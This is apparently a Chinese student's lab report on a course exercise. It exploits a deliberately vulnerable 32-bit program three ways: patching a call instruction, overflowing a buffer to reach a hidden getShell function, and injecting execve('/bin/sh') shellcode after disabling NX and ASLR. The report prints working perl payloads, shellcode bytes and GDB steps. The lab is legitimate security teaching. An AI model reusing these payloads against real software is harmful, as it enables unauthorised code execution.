20242310 2026-2027-1《网络与系统攻防技术》实验一实验报告

20242310 2026-2027-1 《网络与系统攻防技术》实验一实验报告

1. 基础知识

1.1 ELF可执行文件与反汇编

pwn1 是一个 32 位的 ELF(Executable and Linkable Format)可执行文件。ELF 由文件头、程序头表、节区和节头表构成,代码段(.text)存放程序的可执行指令。objdump -d 可以把二进制机器码反汇编成 地址 + 机器码 + 汇编助记符 的形式,例如 80484b5: e8 d7 ff ff ff call 8048491 <foo>,这是逆向分析和修改程序流程的基础。

1.2 常用汇编指令及其机器码

实验中主要涉及的指令及机器码如下:

指令 机器码 说明
nop 0x90 空操作,常用于 NOP 滑梯,使指令指针滑入 shellcode
jmp rel8 0xEB 无条件短跳转
je/jz rel8 0x74 相等(零标志置位)则跳转,即 if equal
jne/jnz rel8 0x75 不相等则跳转,即 if not equal
cmp 0x38~0x3D 等 比较两操作数,只影响标志位,不写回结果
call rel32 0xE8 相对调用,把返回地址压栈后跳转
int 0x80 0xCD 0x80 32 位 Linux 系统调用中断

相对偏移计算:call/jmp 采用相对寻址,偏移量 = 目标地址 −(当前指令地址 + 指令长度)。例如任务一中把 call foo 改成 call getShell,就是重算这个偏移字节。

1.3 十六进制编辑

二进制文件不能直接用文本编辑器修改,需借助 vi 的 :%!xxd 命令把文件转成十六进制文本进行编辑,改完再用 :%!xxd -r 还原为二进制保存。也可以直接配合 xxd、od 查看文件的十六进制内容。

1.4 栈结构与缓冲区溢出

函数调用时栈从高地址向低地址增长,push %ebp 保存调用者栈底,mov %esp,%ebp 建立新栈帧,sub $0x38,%esp 分配局部空间。gets() 不检查输入长度,向缓冲区写入的数据会从低地址向高地址覆盖,依次冲掉缓冲区、保存的 ebp,最终覆盖返回地址(位于 ebp+4)。当函数 ret 时,CPU 会跳转到被覆盖的返回地址,从而改变执行流程——这就是缓冲区溢出(Buffer Overflow)的核心原理。

1.5 栈不可执行(NX)与 execstack

现代系统默认开启 NX(No-eXecute)保护,栈上的数据不可执行,导致 shellcode 无法运行。execstack -s 可以为程序设置可执行栈,execstack -q 用于查询栈属性。

1.6 地址空间随机化(ASLR)

ASLR 使程序每次运行的栈、堆等地址随机变化,导致注入的 shellcode 地址难以确定。写入 /proc/sys/kernel/randomize_va_space 可控制系统级 ASLR:值为 2 表示开启,置 0 表示关闭。

1.7 GDB 调试

GDB 可用于动态调试:disassemble foo 查看函数反汇编、break *地址 下断点、continue 继续执行、info r 查看寄存器、x/16x $esp 查看栈内存内容。实验中用它精确定位栈地址和缓冲区位置。

1.8 Shellcode

Shellcode 是一段能完成特定功能(如启动 shell)的机器码。通过 int 0x80 触发系统调用 execve("/bin/sh") 来获取 shell。为避免返回地址跳歪,常在 shellcode 前加一串 nop(NOP 滑梯),只要跳进滑梯就能滑到真正的 shellcode。

2. 实验内容(简介方案)

实验对象为 32 位 ELF 程序 pwn20242310。正常情况下 main 调用 foo,foo 用 gets 读取输入并回显;程序内还含有一段不会被执行、但能返回 shell 的 getShell 代码。实验目标是通过三种方式执行 getShell 或注入的 shellcode:

  1. 任务一:反汇编定位 getShell 地址,手工修改 main 中 call 指令的机器码,直接改变程序流程跳转到 getShell。
  2. 任务二:利用 foo 的缓冲区溢出漏洞,构造攻击输入覆盖返回地址,触发 getShell。
  3. 任务三:关闭栈保护与 ASLR,构造并注入自己的 shellcode(execve("/bin/sh"))并执行。

3. 实验过程

3.1 任务一:手工修改可执行文件跳转 getShell

先用 objdump -d pwn20242310 | more 反汇编程序,定位关键函数。

![反汇编-原始main]alt text

由反汇编可确定三个关键地址:getShell 位于 0x0804847d,foo 位于 0x08048491,main 位于 0x080484af。

![反汇编-getShell]alt text
![反汇编-foo]alt text

main 中调用 foo 的指令为 80484b5: e8 d7 ff ff ff call 8048491 <foo>。e8 是 call 的操作码,后 4 字节 d7 ff ff ff 是相对偏移(小端,即 -0x29)。该指令长度为 5,下一条指令地址为 0x80484ba,故跳转目标 0x80484ba + (-0x29) = 0x8048491,正是 foo。

![反汇编-原始main调用]alt text

要改为跳转 getShell(0x804847d),新的相对偏移 = 0x804847d - 0x80484ba = -0x3d,即 ff ff ff c3,小端写入为 c3 ff ff ff。因此只需把文件偏移 0x4b6 处的一个字节由 0xd7 改为 0xc3。

先复制文件为 pwn20242310-1 用于修改,用 vi 打开(配合 :%!xxd 转十六进制),改完再 :%!xxd -r 还原保存。

![复制并编辑]alt text

![十六进制查看]alt text

再次反汇编 pwn20242310-1,可见 main 中的调用已变为 80484b5: e8 c3 ff ff ff call 804847d <getShell>,修改成功。

![修改后main调用getShell]alt text

![反汇编验证]alt text
运行修改后的程序,成功获得 shell:

![运行成功获取shell]alt text

3.2 任务二:利用 Bof 覆盖返回地址触发 getShell

先用 gdb 运行程序并输入一段规律数据,观察崩溃位置以确定返回地址的偏移。输入 40 字节 1111111122222222333333334444444455555555,程序在 0x35353535(即 ASCII 字符 '5',0x35)处段错误。

![崩溃验证SIGSEGV]alt text

查看崩溃时寄存器,eip=0x35353535、ebp=0x34343434,说明第 25~32 字节覆盖了 ebp,第 33~36 字节覆盖了返回地址(eip)。

![崩溃后寄存器]alt text

再用把末尾换成 12345678 的输入测试,得到 eip=0x34333231(即 "1234"),进一步精确确认:返回地址位于输入第 33 字节起的 4 个字节处,即需要 32 字节填充 + 4 字节返回地址。

![精确定位偏移]alt text

由于 foo 中缓冲区起始于 ebp-0x1c(28 字节),加上保存的 ebp(4 字节),正好需要 32 字节填充即可覆盖到返回地址,与分析一致。

查到 getShell 地址为 0x0804847d,按小端序写入返回地址 \x7d\x84\x04\x08,用 perl 构造 payload:

objdump -d pwn20242310 | grep getShell   # 得到 0804847d <getShell>
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
(cat input; cat) | ./pwn20242310

xxd 确认 payload 为 32 字节填充后接 7d 84 04 08(getShell 地址)。用 (cat input; cat) 保持管道不关闭,程序被劫持跳入 getShell,成功获取 shell。

![构造payload攻击成功]alt text

3.3 任务三:注入并运行自定义 shellcode

栈上的数据默认不可执行,且 ASLR 会让栈地址随机化,因此先关闭这两项保护。

execstack -s pwn20242310            # 设置可执行栈
execstack -q pwn20242310            # 查询,X 表示已设置
echo "0" > /proc/sys/kernel/randomize_va_space   # 普通权限被拒绝
echo "0" | sudo tee /proc/sys/kernel/randomize_va_space   # 用 sudo tee 写入
cat /proc/sys/kernel/randomize_va_space            # 确认已变为 0

![关闭NX与ASLR]alt text

准备一段 execve("/bin/sh") 的 shellcode,前面加 NOP 滑梯,后面先放一个占位的返回地址,生成输入文件。

perl -e 'print "\x90"x6,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90\x90","\x04\x03\x02\x01\x00"' > input_shellcode
cat input_shellcode;cat | ./pwn20242310

![生成shellcode]alt text

占位返回地址 \x04\x03\x02\x01 只是用来确定栈布局,并不是真实地址,所以第一次攻击没有成功。需要先用 gdb 找到返回地址在栈中的真实位置。

先让程序运行起来,ps -ef 找到它的 PID(此处为 124277),再用 gdb attach 挂载调试。

![gdb挂载进程]alt text

disassemble foo        # 查看 foo 反汇编
break *0x080484ae      # 在 foo 的 ret 指令处下断点
continue               # 继续运行到断点
info r esp             # esp = 0xffffcf1c
x/16x $esp             # 栈顶正是占位返回地址 0x01020304

![gdb断点定位栈地址]alt textalt text

ret 时 esp=0xffffcf1c,栈顶 0x01020304 就是被覆盖的返回地址。由此算出缓冲区起始地址 0xffffcf1c - 0x20 = 0xffffcefc,NOP 滑梯紧随返回地址之后,位于 0xffffcf20。因此把返回地址改为 \x20\xcf\xff\xff(即 0xffffcf20),使 CPU 跳到 NOP 滑梯再滑入 shellcode。

perl -e 'print "A"x32;print "\x20\xcf\xff\xff";print "\x90"x20;print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";print "\n"' > input_shellcode
xxd input_shellcode
(cat input_shellcode; cat) | ./pwn20242310

![shellcode攻击成功]alt text

最终 shellcode 成功执行,获得 shell,三个任务全部完成。

4. 问题及解决方案

  • 问题1:安装 gdb 时提示找不到安装包(Update Kali apt sources to install gdb)。 软件源列表里找不到 gdb 的安装包,通常是因为刚装完 Kali 系统还没有更新过软件源,或者 /etc/apt/sources.list 源列表是空的。

    • 解决方案:首先尝试常规更新并安装:
      sudo apt update
      sudo apt install gdb -y
      
      
  • 问题2:关闭 ASLR 时普通用户直接写入被拒绝。 执行 echo "0" > /proc/sys/kernel/randomize_va_space 报 permission denied,因为该文件属于内核参数,普通用户无写权限。

    • 解决方案:改用 echo "0" | sudo tee /proc/sys/kernel/randomize_va_space,通过 sudo 提权并把标准输出交给 tee 写入,成功将值从 2 改为 0,随后 cat 确认。
  • 问题3:任务三第一次注入 shellcode 没有拿到 shell。 直接使用占位的返回地址 \x04\x03\x02\x01,程序只回显了乱码,说明跳转地址错误,shellcode 没有执行。

    • 解决方案:意识到栈地址被 ASLR 随机化后不能想当然,改用 gdb 挂载运行中的进程,在 foo 的 ret 处下断点,通过 info r esp 和 x/16x $esp 实测出返回地址的真实位置,从而算出 NOP 滑梯所在地址 0xffffcf20,把返回地址改成 \x20\xcf\xff\xff 后攻击成功。
  • 问题4:构造 Shellcode payload 后执行,程序打印 payload 但未出现 Shell 提示符。

    • 解决方案:管道导致 stdin 非 tty,Shell 默认不打印提示符。无需追求提示符,直接在光标处盲打命令验证即可。输入 ls 成功列出文件,证明 Shell 已获取。若需交互式 Shell,可输入 python3 -c 'import pty; pty.spawn("/bin/bash")'。
  • 问题5:Shellcode 注入时返回地址猜错导致段错误。

    • 解决方案:gdb 调试时的栈地址与真实运行环境存在差异(环境变量长度不同)。可通过加大 NOP 雪橇(从 20 字节增至 100 字节)提高容错率,或使用 gdb run < input_shellcode 重新获取真实 esp 值。

5. 学习感悟、思考等

通过本次实验,我第一次真正把"缓冲区溢出"从课本上的概念变成了亲手实现的攻击。任务一让我明白了相对寻址的本质——call 指令存的并不是目标地址本身,而是偏移量,改一个字节就能改变整个程序的流程,这让我对机器码和程序链接有了更直观的认识。任务二让我切实体会到 gets 这类不安全函数为什么危险:只要输入长度足够,就能一路覆盖到返回地址,把程序的控制权抢走。任务三是最费工夫的一步,光是关闭 ASLR、定位栈地址就折腾了很久,最初直接用猜测的地址注入 shellcode 屡次失败,最后才意识到必须用 gdb 实测地址、靠 NOP 滑梯兜底。实验过程中我也犯了不仔细看报错就盲目重试的毛病,比如 ASLR 写入被拒绝,其实看提示就知道是权限问题。总体而言,这次实验让我更深刻地理解到"任何输入都可能被当作代码执行"这一安全理念,也体会到攻防对抗中细节和耐心的重要性。

参考资料

posted @ 2026-10-11 19:14  水笔大旧  阅读(6)  评论(0)    收藏  举报